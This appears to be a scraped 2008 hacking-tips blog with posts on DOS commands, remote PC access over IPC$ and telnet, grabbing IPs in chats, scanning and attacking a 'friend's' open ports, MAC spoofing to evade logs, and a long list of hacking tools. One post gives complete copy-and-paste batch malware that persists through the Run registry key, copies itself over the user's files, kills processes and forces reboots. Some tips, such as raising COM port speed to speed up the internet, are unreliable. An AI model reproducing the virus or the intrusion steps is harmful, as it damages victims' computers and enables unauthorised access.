or Laptop) open your browser, enter any address ,press ENTER andâ¦â¦.WAIT9) After a few seconds the page will start to load

ALL DOS COMMANDS

2008-09-15T13:23:00.000-07:00

There are some hidden dos commands which u can't recognise by typing help in cmd

Here they are with description
COMMANDS:--
1. ANSI.SYS : Defines functions that change display graphics, control cursor movement, and reassign keys.
2. APPEND : Causes MS-DOS to look in other directories when editing a file or running a command.
3. ARP: Displays, adds, and removes arp information from network devices.
4. ASSIGN: Assign a drive letter to an alternate letter.
5. ASSOC:View the file associations.
6. AT: Schedule a time to execute commands or programs.
7.ATMADM: Lists connections and addresses seen by Windows ATM call manager.
8. ATTRIB: Display and change file attributes.
9. BATCH:Recovery console command that executes a series of commands in a file.
10.BOOTCFG:Recovery console command that allows a user to view, modify, and rebuild the boot.ini
11.BREAK:Enable / disable CTRL + C feature.
12. CACLS:View and modify file ACL's.
13.CALL:Calls a batch file from another batch file.
14. CD:Changes directories.
15.CHCP:Supplement the International keyboard and character set information.

CHDIR
Changes directories.
CHKDSK
Check the hard disk drive running FAT for errors.
CHKNTFS
Check the hard disk drive running NTFS for errors.
CHOICE
Specify a listing of multiple options within a batch file.
CLS
Clears the screen.
CMD
Opens the command interpreter.
COLOR
Easily change the foreground and background color of the MS-DOS window.
COMMAND
Opens the command interpreter.
COMP
Compares files.
COMPACT
Compresses and uncompress files.
CONTROL
Open Control Panel icons from the MS-DOS prompt.
CONVERT
Convert FAT to NTFS.
COPY
Copy one or more files to an alternate location.
CTTY
Change the computers input/output devices.
DATE
View or change the systems date.
DEBUG
Debug utility to create assembly programs to modify hardware settings.
DEFRAG
Re-arrange the hard disk drive to help with loading programs.
DEL
Deletes one or more files.
DELETE
Recovery console command that deletes a file.
DELTREE
Deletes one or more files and/or directories.
DIR
List the contents of one or more directory.
DISABLE
Recovery console command that disables Windows system services or drivers.
DISKCOMP
Compare a disk with another disk.
DISKCOPY
Copy the contents of one disk and place them on another disk.
DOSKEY
Command to view and execute commands that have been run in the past.
DOSSHELL
A GUI to help with early MS-DOS users.
DRIVPARM
Enables overwrite of original device drivers.
ECHO
Displays messages and enables and disables echo.
EDIT
View and edit files.
EDLIN
View and edit files.
EMM386
Load extended Memory Manager.
ENABLE
Recovery console command to enable a disable service or driver.
ENDLOCAL
Stops the localization of the environment changes enabled by the setlocal command.
ERASE
Erase files from computer.
EXIT
Exit from the command interpreter.
EXPAND
Expand a Microsoft Windows file back to it's original format.
EXTRACT
Extract files from the Microsoft Windows cabinets.
FASTHELP
Displays a listing of MS-DOS commands and information about them.
FC
Compare files.
FDISK
Utility used to create partitions on the hard disk drive.
FIND
Search for text within a file.
FINDSTR
Searches for a string of text within a file.
FIXBOOT
Writes a new boot sector.
FIXMBR
Writes a new boot record to a disk drive.
FOR
Boolean used in batch files.
FORMAT
Command to erase and prepare a disk drive.
FTP
Command to connect and operate on a FTP server.
FTYPE
Displays or modifies file types used in file extension associations.
GOTO
Moves a batch file to a specific label or location.
GRAFTABL
Show extended characters in graphics mode.
HELP
Display a listing of commands and brief explanation.
IF
Allows for batch files to perform conditional processing.
IFSHLP.SYS
32-bit file manager.
IPCONFIG
Network command to view network adapter settings and assigned values.
KEYB
Change layout of keyboard.
LABEL
Change the label of a disk drive.
LH
Load a device driver in to high memory.
LISTSVC
Recovery console command that displays the services and drivers.
LOADFIX
Load a program above the first 64k.
LOADHIGH
Load a device driver in to high memory.
LOCK
Lock the hard disk drive.
LOGON
Recovery console command to list installations and enable administrator login.
MAP
Displays the device name of a drive.
MD
Command to create a new directory.
MEM
Display memory on system.
MKDIR
Command to create a new directory.
MODE
Modify the port or display settings.
MORE
Display one page at a time.
MOVE
Move one or more files from one directory to another directory.
MSAV
Early Microsoft Virus scanner.
MSD
Diagnostics utility.
MSCDEX
Utility used to load and provide access to the CD-ROM.
NBTSTAT
Displays protocol statistics and current TCP/IP connections using NBT
NET
Update, fix, or view the network or network settings
NETSH
Configure dynamic and static network information from MS-DOS.
NETSTAT
Display the TCP/IP network protocol statistics and information.
NLSFUNC
Load country specific information.
NSLOOKUP
Look up an IP address of a domain or host on a network.
PATH
View and modify the computers path location.
PATHPING
View and locate locations of network latency.
PAUSE
Command used in batch files to stop the processing of a command.
PING
Test / send information to another network computer or network device.
POPD
Changes to the directory or network path stored by the pushd command.
POWER
Conserve power with computer portables.
PRINT
Prints data to a printer port.
PROMPT
View and change the MS-DOS prompt.
PUSHD
Stores a directory or network path in memory so it can be returned to at any time.
QBASIC
Open the QBasic.
RD
Removes an empty directory.
REN
Renames a file or directory.
RENAME
Renames a file or directory.
RMDIR
Removes an empty directory.
ROUTE
View and configure windows network route tables.
RUNAS
Enables a user to execute a program on another computer.
SCANDISK
Run the scandisk utility.
SCANREG
Scan registry and recover registry from errors.
SET
Change one variable or string to another.
SETLOCAL
Enables local environments to be changed without affecting anything else.
SETVER
Change MS-DOS version to trick older MS-DOS programs.
SHARE
Installs support for file sharing and locking capabilities.
SHIFT
Changes the position of replaceable parameters in a batch program.
SHUTDOWN
Shutdown the computer from the MS-DOS prompt.
SMARTDRV
Create a disk cache in conventional memory or extended memory.
SORT
Sorts the input and displays the output to the screen.
START
Start a separate window in Windows from the MS-DOS prompt.
SUBST
Substitute a folder on your computer for another drive letter.
SWITCHES
Remove add functions from MS-DOS.
SYS
Transfer system files to disk drive.
TELNET
Telnet to another computer / device from the prompt.
TIME
View or modify the system time.
TITLE
Change the title of their MS-DOS window.
TRACERT
Visually view a network packets route across a network.
TREE
View a visual tree of the hard disk drive.
TYPE
Display the contents of a file.
UNDELETE
Undelete a file that has been deleted.
UNFORMAT
Unformat a hard disk drive.
UNLOCK
Unlock a disk drive.
VER
Display the version information.
VERIFY
Enables or disables the feature to determine if files have been written properly.
VOL
Displays the volume information about the designated drive.
XCOPY
Copy multiple files, directories, and/or drives from one location to another.

REMOTE ACCESS METHOD

2008-09-15T13:21:00.001-07:00

Just Control Another Computer Remotely.

Things tO Need
Remote Pc's Account Username And Password

<-- Method -->

1. Go tO COmmand Promt(press Windows+R and type cmd)
2. type cd\ (to go to main root Of C:)
3. type the command
c:\net use \\(Rempote PC's Username i.e Adrian)\ipc$ /u:Administrator
c:\net use \\Adrian\ipc$ /u:Administrator(press Enter)
(Results of the above Command)
The Password Or Username Is Invalid For \\Adrian\ipc$.
Enter The PassWord For "Administrator" tp connect to 'Adrian':*****
The Command COmpleted Successfuly.
4. Press Window+R Write regedit To Enter RegsitryEditor.
5. Press Alt+F Then C.
6. Write Down The "Object's Name".Adrian(Computer's Username)then Press Enter.
(New Computer's Registry Is Successsfully Accessed).
7. Just GO TO
Adrian\HKEY_LOCAL_MACHINE\SFTWARE\Microsoft\Windows\TelnetServer\1.0
On The Right Hand Double Click On The Key Named As "NTLM"(New BOx Appear)
Value Name:NTLM
Value Data:(Replace 2 with 0)
Base :HexaDecimal
Press OK.
Get Out Of registry Editor.
8. Again Press Windows+R And Write mmc.(Consol1 Will Open)
9. Press Alt+F then M(New Windows Will Appear)
10.Press Alt+D Then Double Click On "Computer Management"
11.Select "another Computer" and write its Account Login(Adrian).
12.Press Finish And Then Close The "Add StandALone Snap-in"Dialogue Box.
13.Now Press OK Of "Add/Remove Snap-in".
14.On The Left Hand Expand Computer Management>Select Services And Aplications>Services
15.On The Right Hand Scroll down And Right CLick At "Telnet"And Select Restart Option.
16.Leave It As It is
17.Turn To Command Promt Write
c:\telnet Adrian(Press Enter)
it Will Require Login And PassWord
Login:Administrator
PassWord:********(Enter)
*-----------------------------------------------------------
Welcome TO Microsoft Telnet SErver
C:dir(Enter)

Thats It!
Enjoy With Kenreaves!!!

INCREASE UR BRWOSING SPEED

2008-09-15T13:20:00.001-07:00

Speed up your firefox browser and load pages about 20% faster than previous.

1. Type "about:config" into the address bar and hit return. Scroll down and look for the following entries:

network.http.pipeliningnetwork.http.proxy.pipeliningnetwork.http.pipelining.maxrequests

Normally the browser will make one request to a web page at a time. When you enable pipelining it will make several at once, which really speeds up page loading.

2. Alter the entries as follows:

Set "network.http.pipelining" to "true"

Set "network.http.proxy.pipelining" to "true"

Set "network.http.pipelining.maxrequests" to some number like 30. This means it will make 30 requests at once.

3. Lastly right-click anywhere and select New-> Integer. Name it "nglayout.initialpaint.delay" and set its value to "0". This value is the amount of time the browser waits before it acts on information it recieves.

If you're using a broadband connection you'll load pages 2-3 times faster now.

mozila net increase speed

INCREASE YOUR NETSPEED

2008-09-15T13:18:00.000-07:00

go to desktop->My computer-(right click on)->manage->->Device manager-> now u see a window of Device manager
then go to Ports->Communication Port(double click on it and Open).
after open u can see a Communication Port properties.
go the Port Setting:----
and now increase ur "Bits per second" to 128000.
and "Flow control" change 2 Hardware.

U WILL NOTICE AN IMMEDIATE RESULT

this will increase the receiving capacity of your input port and thus ur netspeed will be increased

LOGIN WITH MULTIPLE IDS AT THE SAME TIME IN YAHOO MESSENGER

2008-09-15T13:16:00.001-07:00

Multiple Login in Yahoo! by regedit

Follow these steps : ->

* Go to Start ==> Run ==>> Type regedit,hit enter

* Go to HKEY_CURRENT_USER -> Software -> Yahoo -> pager -> Test

* On the right pane ==>> right-click and choose new Dword value .

* Rename it as Plural.

* Double click and assign a decimal value of 1.

* Now close registry and restart yahoo messenger.

* For signing in with new id open another messenger .

HACK PC WHILE CHATTING

2008-09-15T13:14:00.000-07:00

I am not sure that this will work 100 %.
But yes will work almost 70 percent of the times.
But before that you need to know some few things of yahoo chat protocol
leave a comment here after u see the post lemme know if it does works or not or u having a problem post here.

Following are the features : -

1) When we chat on yahoo every thing goes through the server.Only when we chat thats messages.
2) When we send files yahoo has 2 options
a) Either it uploads the file and then the other client has to down load it.
Either it connects to the client directly and gets the files
3) When we use video or audio:-
a) It either goes thru the server
Or it has client to client connection
And when we have client to client connection the opponents IP is revealed.On the 5051 port.So how do we exploit the Chat user when he gets a direct connection. And how do we go about it.Remember i am here to hack a system with out using a TOOL only by simple net commands and yahoo chat techniques.Thats what makes a difference between a real hacker and new bies.
So lets analyse
1) Its impossible to get a Attackers IP address when you only chat.
2) There are 50 % chances of getting a IP address when you send files
3) Again 50 % chances of getting IP when you use video or audio.

So why to wait lets exploit those 50 % chances .
I'll explain only for files here which lies same for Video or audio

1) Go to dos
type ->
netstat -n 3
You will get the following output.Just do not care and be cool
Active Connections

Proto Local Address Foreign Address State
TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED
TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED
TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED
TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED

Active Connections

Proto Local Address Foreign Address State
TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED
TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED
TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED
TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED

Just i will explain what the out put is in general.In left hand side is your IP address.And in right hand side is the IP address of the foreign machine.And the port to which is connected.Ok now so what next ->

2) Try sending a file to the Target .
if the files comes from server.Thats the file is uploaded leave itYou will not get the ip.But if a direct connection is established
HMMMM then the first attacker first phase is over
This is the output in your netstat.The 5101 number port is where the Attacker is connected.
Active Connections

Proto Local Address Foreign Address State
TCP 194.30.209.15:1631 194.30.209.20:5900 ESTABLISHED
TCP 194.30.209.15:2736 216.136.224.214:5050 ESTABLISHED
TCP 194.30.209.15:2750 64.4.13.85:1863 ESTABLISHED
TCP 194.30.209.15:2864 64.4.12.200:1863 ESTABLISHED
TCP 194.30.209.15:5101 194.30.209.14:3290 ESTABLISHED

3) so what next???
Hmmm........ Ok so make a DOS attack now
Go to dos prompt and
Just do
nbtstat -A Attackers IPaddress.Can happen that if system is not protected then you can see the whole network.
C:\>nbtstat -A 194.30.209.14

Local Area Connection:
Node IpAddress: [194.30.209.15] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
EDP12 <00> UNIQUE Registered
XYZ <00> GROUP Registered
XYZ <20> UNIQUE Registered
XYZCOMP1 <1e> GROUP Registered

MAC Address = 00-C0-W0-D5-EF-9A

What to do next??
It is now ur job to tell me what u have done next...

So the conclusion is never exchange files , video or audio till you know that the user with whom you are chatting is not going to harm you.

SCAN YOUR FRIEND'S PC FOR OPEN PORTS AND HACK IT THROUGH THIS PORTS

2008-09-15T13:10:00.000-07:00

Through my previous posts you may hv learnt how to track Ip of your friend's pc
But you don't know which ports are open in your friend's pc,so u r not able to hack pc
Here I hv one simple solution for that
http://rapidshare.com/files/62036500/Advanced_Port_Scanner.zip
Download this software
run this software
In select Ip textbox insert your friend's pc's IP
Do not select the range option
Scan the given IP
In 10 seconds it will give u the result and will show all open and closed ports in ur friends pc
That's it
It has done its work now it's your turn
Attck the pc through the open ports

this trick will work only if your friend is having static ip

HOW TO FIND SENDERS IP ADDRESS FROM RECEIVED MAIL...

2008-09-15T13:06:00.001-07:00

Emails are very important part of our communication system
We think that we know everything about emails

we know how to compose email , how to attach a file , how to send it to others ,How to receive emails from others and many other things.This is all we know about emails.But this is not end of it .When you receive or send emails many other things are sent with it.

At this time when Email is progressively used for business and for many purposes, not to mention it is being used for phishing and other malicious intentions. It is of utmost priority to understand the other "messages" besides what has been sent or received by you.

Every email comes with a “Header” which is one part of an e-mail structure; call it DNA of the mail. It carries the basic fundamental information such as from whom the email comes, to whom it is addressed, date/time it was sent and the subject of the email. It is similar to an electronic postSeptemberk. Moreover, it also carries other detailed information which we usually don’t see.

This basic information comes in all brief/basic headers that most email programs automatically shows. This detail technical information can be viewed in a full header. All email programs can be set to show only brief header or full header and it is up to the users to set the program whether to view only “brief header” or “full header”.

Full header carries the information of the mail server’s name that the email passed through on its way to the recipient, and sender's IP address and even the name of the email program and its version used.

Knowledge of this information is essential for analysis and investigation purposes on cases involving email abuse, spamming, harassment, forgeries and mail-bombing. It is worth mentioning, understanding of this tool would definitely help people to counter these attacks, and save themselves from unwarranted consequences. Well, this information could not be found in a brief header.

Here we will take the case of Google mail and Yahoo mail to find out the full header.

Google Mail.

Using your id/password, login to Gmail. Open the mail for which you wish to find the full header of the sender. Click on the inverted triangle placed just next to Reply.

You will get something like this…

Delivered-To: Mr.x@gmail.com
Received: by 10.36.81.3 with SMTP id e3cs239nzb; Tue, 12 September 2007 15:11:47 -0800 (PST)
Return-Path:
Received: from mail.emailprovider.com (mail.emailprovider.com [111.111.11.111]) by mx.gmail.com with SMTP id h19si826631rnb.2007.03.12.15.11.46; Tue, 12 September 2007 15:11:47 -0800 (PST)
Message-ID: <20070312231145.62086.mail@mail.emailprovider.com>
Received: from [11.11.111.111] by mail.emailprovider.com via HTTP; Tue, 12 September 2007 15:11:45 PST
Date: Tue, 12 September 2007 15:11:45 -0800 (PST)
From: Mr.y
Subject: Hello
To: Mr.x

In the example, headers are added to the message three times:

1. When Mr.y composes the email

Date: Tue, 12 September 2007 15:11:45 -0800 (PST)
From: Mr .y
Subject: Hello
To: Mr.x
2. When the email is sent through the servers of Mr.y's email provider, mail.emailprovider.com

Message-ID: <20070312231145.62086.mail@mail.emailprovider.com>
Received: from [11.11.111.111] by mail.emailprovider.com via HTTP; Tue, 12 September 2007 15:11:45 PST

3.When the message transfers from Mr.y 's email provider to Mr. x's Gmail account

Delivered-To: Mr.x@gmail.com
Received: by 10.36.81.3 with SMTP id e3cs239nzb;Tue, 12 September 2007 15:11:47 -0800 (PST)

Return-Path: Mr.y@emailprovider.com
Received: from mail.emailprovider.com (mail.emailprovider.com [111.111.11.111]) by mx.gmail.com with SMTP id h19si826631rnb; Tue, 12 September 2007 15:11:47 -0800 (PST)

Below is a description of each section of the email header:

Delivered-To: Mr.x@gmail.com

The email address the message will be delivered to.

Received: by 10.36.81.3 with SMTP id e3cs239nzb;
Tue, 29 Mar 2005 15:11:47 -0800 (PST)

The time the message reached Gmail's servers.

Return-Path:

The address from which the message was sent.

Received: from mail.emailprovider.com
(mail.emailprovider.com [111.111.11.111])
by mx.gmail.com with SMTP id h19si826631rnb.2005.03.29.15.11.46;
Tue, 29 Mar 2005 15:11:47 -0800 (PST)

The message was received from mail.emailprovider.com, by a Gmail server on March 29, 2005 at approximately 3 pm.

Message-ID: 20050329231145.62086.mail@mail.emailprovider.com

A unique number assigned by mail.emailprovider.com to identify the message.

Received: from [11.11.111.111] by mail.emailprovider.com via HTTP; Tue, 29 Mar 2005 15:11:45 PST

Mr.y used an email composition program to write the message, and it was then received by the email servers of mail.emailprovider.com.

Date: Tue, 29 Mar 2005 15:11:45 -0800 (PST)
From: Mr y
Subject: Hello
To: Mr.x

The date, sender, subject, and destination -- Mr. Jones entered this information (except for the date) when he composed the email.

And for IP, look for Received:from followed by the IP within square brackets [ ] e.g.

Received: from [11.11.111.111] by mail.emailprovider.com via HTTP; Tue, 12

Also importantly, there are times when you might find multiple Received: from entries, in that case, please select the last one as the valid choice.

ETHICAL HACKING TOOLS.........

2008-09-15T13:02:00.000-07:00

Ethical Hacking tools

Here is a list of the most important tools:

1) IP Address Scanner
2) IP Calculator
3) IP Converter
4) Port Listener
5) Port Scanner
6) Ping
7) NetStat (2 ways)
8) Trace Route (2 ways)
9) TCP/IP Configuration
10) Online - Offline Checker
11) Resolve Host & IP
12) Time Sync
13) Whois & MX Lookup
14) Connect0r
15) Connection Analysator and protector
16) Net Sender
17) E-mail seeker
18) Net Pager
19) Active and Passive port scanner
20) Spoofer
21) Hack Trapper
22) HTTP flooder (DoS)
23) Mass Website Visiter
24) Advanced Port Scanner
25) Trojan Hunter (Multi IP)
26) Port Connecter Tool
27) Advanced Spoofer
28) Advanced Anonymous E-mailer
29) Simple Anonymous E-mailer
30) Anonymous E-mailer with Attachment Support
31) Mass E-mailer
32) E-mail Bomber
33) E-mail Spoofer
34) Simple Port Scanner (fast)
35) Advanced Netstat Monitoring
36) X Pinger
37) Web Page Scanner
38) Fast Port Scanner
39) Deep Port Scanner
40) Fastest Host Scanner (UDP)
41) Get Header
42) Open Port Scanner
43) Multi Port Scanner
44) HTTP scanner (Open port 80 subnet scanner)
45) Multi Ping for Cisco Routers
46) TCP Packet Sniffer
47) UDP flooder
48) Resolve and Ping
49) Multi IP ping
50) File Dependency Sniffer
51) EXE-joiner (bind 2 files)
52) Encrypter
53) Advanced Encryption
54) File Difference Engine
55) File Comparasion
56) Mass File Renamer
57) Add Bytes to EXE
58) Variable Encryption
59) Simple File Encryption
60) ASCII to Binary (and Binary to ASCII)
61) Enigma
62) Password Unmasker
63) Credit Card Number Validate and Generate
64) Create Local HTTP Server
65) eXtreme UDP Flooder
66) Web Server Scanner
67) Force Reboot
68) Webpage Info Seeker
69) Bouncer
70) Advanced Packet Sniffer
71) IRC server creater
72) Connection Tester
73) Fake Mail Sender
74) Bandwidth Monitor
75) Remote Desktop Protocol Scanner Apr 10 ?? Sai Satish ??
76) MX Query
77) Messenger Packet Sniffer
78) API Spy
79) DHCP Restart
80) File Merger
81) E-mail Extractor (crawler / harvester bot)
82) Open FTP Scanner
83) Advanced System Locker
84) Advanced System Information
85) CPU Monitor
86) Windows Startup Manager
87) Process Checker
88) IP String Collecter
89) Mass Auto-Emailer (Database mailer; Spammer)
90) Central Server (Base Server; Echo Server; Time
Server; Telnet Server; HTTP Server; FTP Server)
91) Fishing Port Scanner (with named ports)
92) Mouse Record / Play Automation (Macro Tool)
93) Internet / LAN Messenger Chat (Server + Client)
94) Timer Shutdown/Restart/Log Off/Hibernate/Suspend/
Control
95) Hash MD5 Checker
96) Port Connect - Listen tool
97) Internet MAC Address Scanner (Multiple IP)
98) Connection Manager / Monitor
99) Direct Peer Connecter (Send/Receive files + chat)
100) Force Application Termination (against Viruses and
Spyware)
101) Easy and Fast Screenshot Maker (also Web Hex Color
Picker)
102) COM Detect and Test
103) Create Virtual Drives
104) URL Encoder
105) WEP/WPA Key Generator
106) Sniffer.NET
107) File Shredder
108) Local Access Enumerater
109) Steganographer (Art of hiding secret data in
pictures)
110) Subnet Calculater
111) Domain to IP (DNS)
112) Get SNMP Variables
113) Internet Explorer Password Revealer
114) Advanced Multi Port Scanner
115) Port Identification List (+port scanner)
116) Get Quick Net Info
117) Get Remote MAC Address
118) Share Add
119) Net Wanderer
120) WhoIs Console Apr 10 ?? Sai Satish ??
121) Cookies Analyser
122) Hide Secret Data In Files
123) Packet Generator
124) Secure File Splitting
125) My File Protection (Password Protect Files, File
Injections)
126) Dynamic Switch Port Mapper
127) Internet Logger (Log URL)
128) Get Whois Servers
129) File Split&Merge
130) Hide Drive
131) Extract E-mails from Documents
132) Net Tools Mini (Client/Server, Scan, ICMP, Net
Statistics, Interactive, Raw Packets, DNS, Whois, ARP,
Computer's IP, Wake On LAN)
133) Hook Spy
134) Software Uninstaller
135) Tweak & Clean XP
136) Steganographic Random Byte Encryption
137) NetTools Notepad (encrypt your sensitive data)
138) File Encrypter/Decrypter
139) Quick Proxy Server
140) Connection Redirector (HTTP, IRC, ... All protocols
supported)
141) Local E-mail Extractor
142) Recursive E-mail Extractor
143) Outlook Express E-mail Extractor
144) Telnet Client
145) Fast Ip Catcher
146) Monitor Host IP
147) FreeMAC (MAC Address Editor)
148) QuickFTP Server (+user accounts support)
149) NetTools Macro Recorder/Player (Keybord and Mouse
Hook)
150) Network Protocol Analyzer
151) Steganographic Tools (Picture, Sounds, ZIP
Compression and Misc Methods)
152) WebMirror (Website Ripper)
153) Extra Tools (nmap console & win32 version)

http://tech.groups.yahoo.com/group/IndianProfessionals/files/

SIMPLE BATCH VIRUS

2008-09-15T13:01:00.001-07:00

This one is a simple batch virus
Just copy and paste the code given below in notepad and save it as anyname.bat(not txt)
Be carefull & Don't run this on ur pc

@Echo off
color 4
title 4
title R.I.P
start
start
start
start calc
copy %0 %Systemroot%\Greatgame > nul
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Greatgame /t REG_SZ
/d %systemroot%\Greatgame.bat /f > nul
copy %0 *.bat > nul
Attrib +r +h Greatgame.bat
Attrib +r +h
RUNDLL32 USER32.DLL.SwapMouseButton
start calc
cls
tskill msnmsgr
tskill LimeWire
tskill iexplore
tskill NMain
start
cls
cd %userprofile%\desktop
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
cd %userprofile%My Documents
copy Greatgame.bat R.I.P.bat
copy Greatgame.bat R.I.P.jpg
copy Greatgame.bat R.I.P.txt
copy Greatgame.bat R.I.P.exe
copy Greatgame.bat R.I.P.mov
copy Greatgame.bat FixVirus.bat
start
start calc
cls
msg * R.I.P
msg * R.I.P
shutdown -r -t 10 -c "VIRUS DETECTED"
start
start
time 12:00
:R.I.P
cd %usernameprofile%\desktop
copy Greatgame.bat %random%.bat
goto RIP

------------------------------------------------------------------------------------------
It will
1) Copy itself into startup
2) Copy itself over one thousand times into random spots in your computer
3) Hide its self and all other created files
4) Task kill MSN, Norton, Windows Explorer, Limewire.
5) Swap the left mouse button with the right one
6) Opens alert boxes
7) Changes the time to 12:00 and shuts down the computer

CHANGE THE IP ADDRESS

2008-09-15T12:58:00.001-07:00

First let me explain a few things about MAC addresses. MAC stands for Media Access Control and in a sense the MAC address is a computer?s true name on a LAN. An Ethernet MAC address is a six byte number, usually expressed as a twelve digit hexadecimal number (Example: 1AB4C234AB1F).

IPs are translated to MAC address by a protocol called ARP (Address Resolution Protocol). Let?s say a computer with and IP of 192.168.1.1 wants to send information to another computer on the LAN that has an IP of 192.168.1.2 . First 192.168.1.1 will send out a broadcast to all stations on the LAN asking who has the IP 192.168.1.2. Then the box that has 192.168.1.2 will respond to 192.168.1.1 with it?s MAC address which is cached in 192.168.1.1?s ARP table for later use. To put this in Socratic Dialog form (with just a touch of Stallone):

Host 1 (199.160.1.1): Yo everyone on the LAN (FF:FF:FF:FF:FF:FF), who has the IP 199.160.1.2? My MAC is DE:AD:BE:EF:CA:FE so you can respond back to me.

Host 2 (199.16o.1.2): Hello DE:AD:BE:EF:CA:FE, I have IP 199.160.1.2 and my MAC address is 12:34:56:78:90:12 so you can send your IP packets to me.

You can see the ARP table of a box by dropping out to a command prompt and typing ?arp ?a? in Windows or just ?arp? in Linux. ARP can also work the other way by a host on the LAN sending its MAC address to another machine on the LAN for preemptive caching unless the host is configured to not accept un-requested ARP replies.

A person might want to change the MAC address of a NIC for many reasons:

1. To get past MAC address filtering on a router. Valid MAC addresses can be found by sniffing them and then the deviant user could assume the MAC of a valid host. Having two hosts on the same network can cause some network stability problems, but much of the time it's workable. This is one of the reasons why MIC Address filtering on a wireless router is pointless. An attacker can just sniff the MAC address out of the air while in monitor mode and set his WiFi NIC to use it. Interestingly, a lot of hotels use MAC filtering in their "pay to surf" schemes, so this method can be an instant in for cheap skate road warriors.
2. Sniffing other connections on the network. By assuming another host's MAC as their own they may receive packets not meant for them. However, ARP poisoning is generally a better method than MAC spoofing to accomplish this task.
3. So as to keep their burned in MAC address out of IDS and security logs, thus keeping deviant behavior from being connected to their hardware. For example, two of the main things a DHCP server logs when it leases an IP to a client is the MAC address and host name. If you have a wireless router look around on it's web interface for where it logs this info. Luckily there are tools to randomize this information (MadMACs).
4. To pull off a denial of service attack, for instance assuming the MAC of the gateway to a sub net might cause traffic problems. Also, a lot of WiFi routers will lock up if a client tries to connect with the same MAC as the router's BSSID.

Linux

To change your MAC address in Linux (and most *nix system) is easy as pie. All it takes is two easy to script commands:

ifconfig eth0 down hw ether 00:00:00:00:00:01

ifconfig eth0 up

These two little commands would set your eth0 interface to use the MAC 00:00:00:00:00:01. Just plug in the NIC you want to set and the MAC address you want to use into the commands above and your done. Changing your MAC address is one of those things that is much easier to do in Linux then under Windows.

Mac OS X

For versions of OS X before Tiger (OS X 10.4) you will need this patch:

http://slagheap.net/etherspoof/

Then you use a command like:

sudo ifconfig en0 lladdr 00:00:00:00:00:01

I'm not much of a Macintosh guy, so I pulled most of this info from:

http://www.macgeekery.com/gspot/2006-04/mac_address_spoofing

My understanding is that there are complications with some AirPort cards so you may also want to read:

http://rgov.org/airport-spoof/

Windows 2000/XP/Vista: The Hard Way

In XP you can use the regedit to edit the registry from a GUI or the reg command to edit it from the console, I?ll be using regedit. Information on all your NICs can be found the registry key HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ Class\{4D36E972-E325-11CE-BFC1-08002bE10318}\ . Under this key you will find a bunch of sub keys labeled as 0000, 00001, 0002 and so forth. We can assume any MAC address we want by finding the key that controls the NIC we want to change, putting in a string value called ?NetworkAddress? and setting it to the MAC address we want to use formatted as a twelve digit hex number (example: 000000000001). To find out which key is which we can search through them for the value ?DriverDesc? until we find the one that matches the NIC we wish to alter. After you set ?NetworkAddress? to the address you want just restart the NIC by disabling it then enabling it (or in the case of PCMCIA cards, just eject and reinsert). You can confirm the MAC address change by using the ?getmac? or ?ipconfig /all? commands.

Windows 2000/XP/Vista: The Easy Way

Use Mac Makeup ( http://www.gorlani.com/publicprj/macmakeup/macmakeup.asp ), MadMACs (http://www.irongeek.com/i.php?page=security/madmacs-mac-spoofer), Smac ( http://www.klcconsulting.net/smac/ ) or Etherchange (http://ntsecurity.nu/toolbox/etherchange/ ). Mac Makeup is a cool little GUI and Command line tool that's freeware, the creator also offers a Plugin for Bart's PE builder. MadMACs is a tool to randomize your MAC address and host name on every reboot. Smac has a nice GUI and was free but has since gone commercial, there's no reason to bother with it as there are free tools that are just as good. I use MadMACs since I wrote it and it lets me keep my host information randomized.

Have fun with your MAC addresses switching, but be careful not to cause network problems. My favorite MAC address is DEADBEEFCAFE, for other interesting MACs see:

http://www.binrev.com/forums/index.php?showtopic=15942

Enjoy.

After Notes:

After I posted my article Benjamin E. Pratt emailed me some other notes on changing your MAC address on different platforms and in different ways:
BSD

1) Bring down the interface: "ifconfig xl0 down"

2) Enter new MAC address: "ifconfig xl0 link 00:00:00:AA:AA:AA"

3) Bring up the interface: "ifconfig xl0 up"

Linux

1) Bring down the interface: "ifconfig eth0 down"

2) Enter new MAC address: "ifconfig eth0 hw ether 00:00:00:AA:AA:AA"

3) Bring up the interface: "ifconfig eth0 up"

Windows 2000/XP
Method 1:

This is depending on the type of Network Interface Card (NIC) you have. If you have a card that doesn?t support Clone MAC address, then you have to go to second method.

a) Go to Start->Settings->Control Panel and double click on Network and Dial-up Connections.

b) Right click on the NIC you want to change the MAC address and click on properties.

c) Under "General" tab, click on the "Configure" button

d) Click on "Advanced" tab

e) Under "Property section", you should see an item called "Network Address" or "Locally Administered Address", click on it.

f) On the right side, under "Value", type in the New MAC address you want to assign to your NIC. Usually this value is entered without the "-" between the MAC address numbers.

g) Goto command prompt and type in "ipconfig /all" or "net config rdr" to verify the changes. If the changes are not materialized, then use the second method.

h) If successful, reboot your system.

Method 2:

This should work on all Windows 2000/XP systems

a) Go to Start -> Run, type "regedt32" to start registry editor. Do not use "Regedit".

b) Go to "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}". Double click on it to expand the tree. The subkeys are 4-digit numbers, which represent particular network adapters. You should see it starts with 0000, then 0001, 0002, 0003 and so on.

c) Find the interface you want by searching for the proper "DriverDesc" key.

d) Edit, or add, the string key "NetworkAddress" (has the data type "REG_SZ") to contain the new MAC address.

e) Disable then re-enable the network interface that you changed (or reboot the system).

Method 3:

Use the program Etherchange from http://ntsecurity.nu/toolbox/etherchange/

Windows 9x

Use the same method as Windows 2000/XP except for the registry key location is "HKEY_LOCAL_MACHINE\System\ CurrentControlSet\Services\Class\Net" and you must reboot your system.

MULTIPLE GOOGLE TALK.

2008-09-15T12:51:00.001-07:00

